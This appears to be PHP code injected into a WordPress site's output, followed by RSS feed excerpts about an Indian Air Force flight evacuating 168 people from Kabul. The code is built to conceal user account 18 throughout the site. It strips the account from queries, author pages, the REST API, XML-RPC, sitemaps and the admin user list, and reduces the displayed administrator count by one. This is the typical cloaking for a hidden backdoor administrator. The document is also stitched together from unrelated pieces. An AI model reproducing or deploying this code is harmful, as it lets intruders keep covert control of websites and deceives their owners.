add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
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    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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					<description><![CDATA[<p>The Indian Air Force&#8217;s special repatriation flight, carrying 168 passengers, including 107 Indians, landed at the Hindon airbase near Delhi this morning. The Bangla Sahib Gurdwara will be the next stop for the evacuees. Many of the evacuees have been staying in a Gurdwara in Kabul for many days. This evacuation came about a week [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/after-a-harrowing-taliban-experience-168-passengers-board-an-air-force-flight-to-india">After a Harrowing Taliban Experience, 168 passengers Board an Air Force flight to India</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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<p>This evacuation came about a week after the last group of Indians, the workers of the Indian Embassy in Kabul, arrived in Jamnagar, Gujarat. Kabul. Among the evacuees were 24 Sikhs, including two Afghan senators.</p>
<p>Air India, IndiGo, and Vistara, three additional flights carrying Indians evacuated from Kabul, landed in the national capital earlier in the day from Tajikistan&#8217;s capital Dushanbe and Qatar&#8217;s Doha. According to government sources, India has been granted permission to fly two aircraft per day from Kabul to remove its people stranded in Afghanistan.</p>
<p>The Taliban&#8217;s &#8216;capture&#8217; of Indian citizens comes only hours after an Air Force transport plane successfully evacuated 85 Indians from Kabul.</p>
<p>The post <a href="https://theedgemedia.in/after-a-harrowing-taliban-experience-168-passengers-board-an-air-force-flight-to-india">After a Harrowing Taliban Experience, 168 passengers Board an Air Force flight to India</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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